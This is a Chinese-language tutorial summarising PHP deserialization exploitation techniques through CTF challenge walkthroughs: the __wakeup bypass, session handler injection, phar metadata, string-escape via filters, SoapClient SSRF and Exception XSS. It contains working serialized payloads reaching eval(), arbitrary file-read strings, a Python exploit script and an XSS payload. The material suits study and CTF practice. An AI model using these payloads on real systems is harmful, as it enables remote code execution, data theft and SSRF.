1. 程式人生 > 其它 >反序列化漏洞利用總結

反序列化漏洞利用總結

反序列化無論在CTF比賽中,抑或是實戰滲透中都起著重要作用,而這一直都是我的弱項之一,所以寫一篇反序列化利用總結來深入學習一下

<!-- more -->

簡單介紹

(反)序列化只是給我們傳遞物件提供了一種簡單的方法。

  • serialize()將一個物件轉換成一個字串

  • unserialize()將字串還原為一個物件

在本質上,反序列化的資料是沒有危害的,但是當反序列化資料是使用者可控時,這時就會產生一些預期外的結果,也就可能存在危害

因此,反序列化的危害,關鍵在於可控或不可控,而我們找反序列化漏洞時,資料的可控與不可控也是一處著力點

在本文,不會著重討論反序列化漏洞的形成原理,這已經被其他師傅講得很透徹了,我在這裡只是稍微總結一下思路,僅此而已

漏洞成因即利用思路

才疏學淺,若有錯誤,多加包涵

Magic function

Magic function,即我們常說的魔術方法,我們的反序列化漏洞也常常與這些相掛鉤

  • __construct():建構函式,當物件建立(new)時會自動呼叫。但在unserialize()時是不會自動呼叫的。

  • __destruct():解構函式,類似於C++。會在到某個物件的所有引用都被刪除或者當物件被顯式銷燬時執行,當物件被銷燬時會自動呼叫。

  • __wakeup():如前所提,unserialize()時會檢查是否存在__wakeup(),如果存在,則會優先呼叫__wakeup()方法。

  • __toString()

    :用於處理一個類被當成字串時應怎樣迴應,因此當一個物件被當作一個字串時就會呼叫。

  • __sleep():用於提交未提交的資料,或類似的清理操作,因此當一個物件被序列化的時候被呼叫。

利用方式

__wakeup()

對應的CVE編號:CVE-2016-7124

  • 存在的php版本: PHP5.6.25之前版本和7.0.10之前的7.x版本

  • 漏洞成因:當物件的屬性(變數)數大於實際的個數時,__wakeup可以被被繞過

demo

<?php
highlight_file(__FILE__);
error_reporting(0);
classconvent{
var$warn="No hacker.";
function__destruct(){
eval($this->warn);
}
function__wakeup(){
foreach(get_object_vars($this)as$k=>$v) {
$this->$k=null;
}
}
}
$cmd=$_POST[cmd];
unserialize($cmd);
?>

這邊的__wakeup是事件型的,如果沒遇到unserialize就永遠不會觸發了,所以我們得先搞清楚先執行哪個方法,再執行哪個方法。

在這裡,經過測試,我們可以得出__wakeup優先順序高於__destruct()

因為遇到了unserialize得先執行__wakeup裡面的內容,才能跑到我們想要的__destruct()裡面,所以得繞過這個__wakeup

怎麼繞過?

只要物件的屬性(變數)數大於實際的個數時,__wakeup就可以被被繞過

<?php

classconvent{
var$warn="phpinfo();";
function__destruct(){

}
}
$a=newconvent();
$b=serialize($a);
print_r($b);//O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}
?>

然後更改變數數即可

O:7:"convent":1:{s:4:"warn";s:10:"phpinfo();";}>>O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

存在多個魔法方法時,要弄清哪個魔法方法的優先順序高

PHP session反序列化

這在我之前一篇文章其實已經介紹得差不多了

  • 漏洞成因:其主要原理就是利用序列化的引擎和反序列化的引擎不一致時,引擎之間的差異產生序列化注入漏洞

demo

在之前的高校戰疫中考查過, 利用的就是php session的序列化機制差異導致的注入漏洞

相關題目:http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler','php');
session_start();
classOowoO
{
public$mdzz;
function__construct()
{
$this->mdzz='phpinfo();';
}

function__destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m=newOowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

仔細看了一遍發現題目沒有入口,注意到有ini_set('session.serialize_handler', 'php')存在,猜測是否為session反序列化漏洞

看一下phpinfo

local value(當前目錄,會覆蓋master value內容):php master value(主目錄,php.ini裡面的內容):php_serialize

這就很明視訊記憶體在session反序列化漏洞了

當一個上傳在處理中,同時POST一個與INI中設定的session.upload_progress.name同名變數時,當PHP檢測到這種POST請求時,它會在$_SESSION中新增一組資料,索引是session.upload_progress.prefixsession.upload_progress.name連線在一起的值。

所以可以通過Session Upload Progress來設定session

允許上傳且結束後不清除資料,這樣更有利於利用

我們在html網頁原始碼上加入以下程式碼

<formaction="http://web.jarvisoj.com:32784/index.php"method="POST"enctype="multipart/form-data">
<inputtype="hidden"name="PHP_SESSION_UPLOAD_PROGRESS"value="123"/>
<inputtype="file"name="file"/>
<inputtype="submit"/>
</form>

接下來就是考慮怎麼利用了,我們可以利用反序列化資料可控來達成我們的目的

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
classOowoO
{
public$mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj=newOowoO();
echoserialize($obj);//O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
?>

為了防止被轉義,我們在雙引號前加上反斜槓\

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

抓包上傳,將filename改成我們的payload(要INI中設定的session.upload_progress.name同名變數)

這樣我們就可以看到當前目錄的檔案了,再去phpinfo中檢視當前目錄

更改payload,利用print_r來讀取目標檔案

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

phar 反序列化

phar在網上已經有很多解釋了,這裡就不過多贅述,簡單來說phar就是php壓縮文件,不經過解壓就能被php訪問並執行

  • 前提條件

php.ini中設定為phar.readonly=Off

phpversion>=5.3.0
  • 漏洞成因:phar儲存的meta-data資訊以序列化方式儲存,當檔案操作函式(file_exists()is_dir()等)通過phar://偽協議解析phar檔案時就會將資料反序列化,並且可以不依賴unserialize()直接進行反序列化操作。

demo

根據檔案結構我們來自己構建一個phar檔案,php內建了一個Phar類來處理相關操作

<?php

classUser{
var$name;
function__destruct(){
echo"Blackwatch";
}
}

@unlink("test.phar");
$phar=newPhar("test.phar");//字尾名必須為phar
$phar->startBuffering();
$phar->setStub("<?php__HALT_COMPILER();?>");//設定stub
$o=newUser();
$o->name="test";
$phar->setMetadata($o);//將自定義的meta-data存入manifest
$phar->addFromString("test.txt","Blackwatch");//新增要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
?>

可以很明顯看到我們的manifest(也就是meta-data)是以序列號形式儲存的

在上面的demo中我們可以看到,當檔案系統函式的引數可控時,我們可以在不呼叫unserialize()的情況下進行反序列化操作,其他函式也是可以的

phar反序列化可以利用的函式

phar檔案偽造

因為php對phar檔案的識別是通過檔案頭stub來識別的,更準確的說是__HALT_COMPILER();?>這段程式碼,對於前面的內容和字尾名是沒有要求的,我們可以利用這個特性將phar偽裝成其他檔案進行上傳

  • phar 檔案能夠上傳

  • 檔案操作函式引數可控,:,/phar等特殊字元沒有被過濾

  • 有可用的魔術方法作為”跳板”

$phar->setStub("GIF89a"."<?php__HALT_COMPILER();?>");
  • 例題:SWPUCTF2018 SimplePHP

bypass phar:// 不能出現在首部

這時我們我們可以利用compress.zlib://compress.bzip2://函式,compress.zlib://compress.bzip2://同樣適用於phar://

  • payload

compress.zlib://phar://phar.phar/test.txt
  • 例題:巔峰極客 2020 babyphp2

字元逃逸

  1. PHP 在反序列化時,底層程式碼是以;作為欄位的分隔,以}作為結尾(字串除外),並且是根據長度判斷內容的 .

  2. 當長度不對應的時候會出現報錯

  3. 可以反序列化類中不存在的元素

  • 漏洞成因:利用序列化後的資料經過過濾後出現字元變多或變少,導致字串逃逸

字串變多

  • [0CTF 2016]piapiapia

掃描目錄發現有WWW.ZIP洩露,下載後用Seay原始碼審計一下

而我們對原始碼全域性搜尋時發現,只有config.php存在flag欄位的內容,因此可以分析我們的初步思路

  • 因為在profile.php 中: 存在檔案操作函式file_get_contents()以及可控的引數photo,如果photo為config.php 就能讀取到flag

  • profile.php

  • update.php

  • class.php

我們可以看到這裡的正則過濾掉了where(5)替換成了hacker(6)

在update.php 中對陣列profile 進行序列化儲存後,在profile.php 進行反序列化

我們註冊後來抓個包,發現數組中元素的傳遞nickname也是位於photo之前的,所以我們可以想辦法讓nickname足夠長,把upload那部分欄位給”擠出去”

這就是反序列化長度變化尾部字串逃逸

我們的目標是使photo欄位的內容為config.php所以我們要的序列化資料閉合應為:";}s:5:"photo";s:10:"config.php";},34個字元

我們的目的是將";}s:5:"photo";s:10:"config.php";}插入序列化的字串裡面去,這個的長度為34,所以我們要擠出來34位,不然就成了nickname的值了

where(5)會替換成hacker(6),長度加1,所以我們要構造34個where

";}是為了閉合nickname部分,而後面這部分s:5:"photo";s:10:"config.php";},就單獨成為了 photo 的部分( 尾部字串逃逸 ),到達效果

使用陣列繞過nickname長度限制

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

發包後在/profile.php頁面複製頭像的地址,進行base64decode得到flag

字串變少

也有師傅稱之為物件逃逸

俺沒物件所以不用這個名稱

原理與上者差不多,是經過序列化-->敏感字替換為空(長度變短)-->反序列化的過程之後再輸出結果

直接看題

  • [安洵杯 2019]easy_serialize_php

原始碼如下

<?php


$function=@$_GET['f'];

functionfilter($img){
$filter_arr=array('php','flag','php5','php4','fl1g');
$filter='/'.implode('|',$filter_arr).'/i';
returnpreg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"]='guest';
$_SESSION['function']=$function;

extract($_POST);

if(!$function){
echo'<ahref="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img']=base64_encode('guest_img.png');
}else{
$_SESSION['img']=sha1(base64_encode($_GET['img_path']));
}

$serialize_info=filter(serialize($_SESSION));

if($function=='highlight_file'){
highlight_file('index.php');
}elseif($function=='phpinfo'){
eval('phpinfo();');//maybeyoucanfindsomethinginhere!
}elseif($function=='show_image'){
$userinfo=unserialize($serialize_info);
echofile_get_contents(base64_decode($userinfo['img']));
}

根據提示我們可以在phpinfo中看到flag 在d0g3_f1ag.php這個檔案中,直接讀取是不行的

$_SESSION陣列中有user, funciton, img這三個屬性

img的值我們是控制不了的,進而無法讀取到目標檔案

我們把注意力轉移到函式serialize上,這裡有一個很明顯的漏洞點,資料經過序列化了之後又經過了一層過濾函式,而這層過濾函式會干擾序列化後的資料

而且extract($_POST)存在變數覆蓋漏洞

所以我們可以在這上面做文章

這兒需要兩個連續的鍵值對,由第一個的值覆蓋第二個的鍵,這樣第二個值就逃逸出去,單獨作為一個鍵值對

當我們令_SESSION[user]為flagflagflagflagflagflag時,正常情況下序列化後的資料是這樣的:正常情況下,序列化後的資料應為

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

但是因為過濾的原因,會變成這樣

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到,user的內容已經變為空,但是長度還是24,那麼反序列化時就會自動往後讀取24位,會讀取到";s:8:"function";s:59:"a

";s:8:"function";s:59:"a其長度為24,作為一個整體成了user的值

因為php反序列化時,當一整段內容反序列化結束後,後面的非法字元將會被忽略,而我們可以看到這是以{作為序列化內容的起點,}作為序列化內容的終點

後面";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}這部分被捨棄

因此我們可以控制$userinfo["img"]的值,達到任意檔案讀取的效果

所以payload為

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

讀取完d0g3_f1ag.php後,得到下一個hint,獲取到flag檔名

Pop chain

嚴格來說,這更多像一種方法,就像玩樂高一樣把一個個魔術方法串聯起來,POP CHAIN 更多的是在類之間,方法之間的呼叫上,由於方法的引數可控存在危險函式,導致了漏洞,,實也是在程式碼邏輯上出現的問題

在編寫Pop 鏈的exp的時候,,類的框架幾乎不變,只需要做一些修改

pop chain的構造這裡就不展開討論了,畢竟這點位置來講還不如去看一下github上師傅們挖出來的鏈實在,後面有機會可以寫一下反序列化鏈構造的思路

SoapClient

SoapClient 類搭配CRLF注入可以實現SSRF, 在本地生成payload的時候,需要修改php.ini中的;extension soap將註釋刪掉即可

  • 漏洞成因:因為SoapClient 類會呼叫__call方法,當執行一個不存在的方法時,被呼叫,從而實現ssrf

exp

<?php

$a=newSoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa','uri'=>'http://47.xxx.xxx.72:2333'));
$b=serialize($a);
echo$b;
$c=unserialize($b);
$c->a();//隨便呼叫物件中不存在的方法,觸發__call方法進行ssrf
?>
  • LCTF 2018 bestphp's revenge

exp

importrequests

importre
url="http://7c3ee1c8-bf16-4e25-bd02-db385135a819.node4.buuoj.cn/"
payload='|O:10:"SoapClient":3:{s:3:"uri";s:3:"123";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}'
r=requests.session()
data={'serialize_handler':'php_serialize'}
res=r.post(url=url+'?f=session_start&name='+payload,data=data)
#print(res.text)
res=r.get(url)
#print(res.text)
data={'b':'call_user_func'}
res=r.post(url=url+'?f=extract',data=data)
res=r.post(url=url+'?f=extract',data=data)#相當於重新整理頁面
sessionid=re.findall(r'string\(26\)"(.*?)"',res.text)
cookie={"Cookie":"PHPSESSID="+sessionid[0]}
res=r.get(url,headers=cookie)
print(res.text)

Exception

與SoapClient一樣,是屬於PHP原生類

  • 漏洞成因:php 的原生類中的ErrorException中內建了toString方法, 可能造成xss漏洞

<?php

$s=newException("<script>alert(1)</script>");
echourlencode(serialize($s));
?>

總結

除了上面這些,還可以和sql注入,命令執行等結合,這裡就不再一一贅述,php反序列化漏洞的利用,其實是與xss,sql注入等十分相似的,都是一種閉合-構造,以改變原本程式碼結構進而達到漏洞利用的目的的思路

合天智匯:合天網路靶場、網安實戰虛擬環境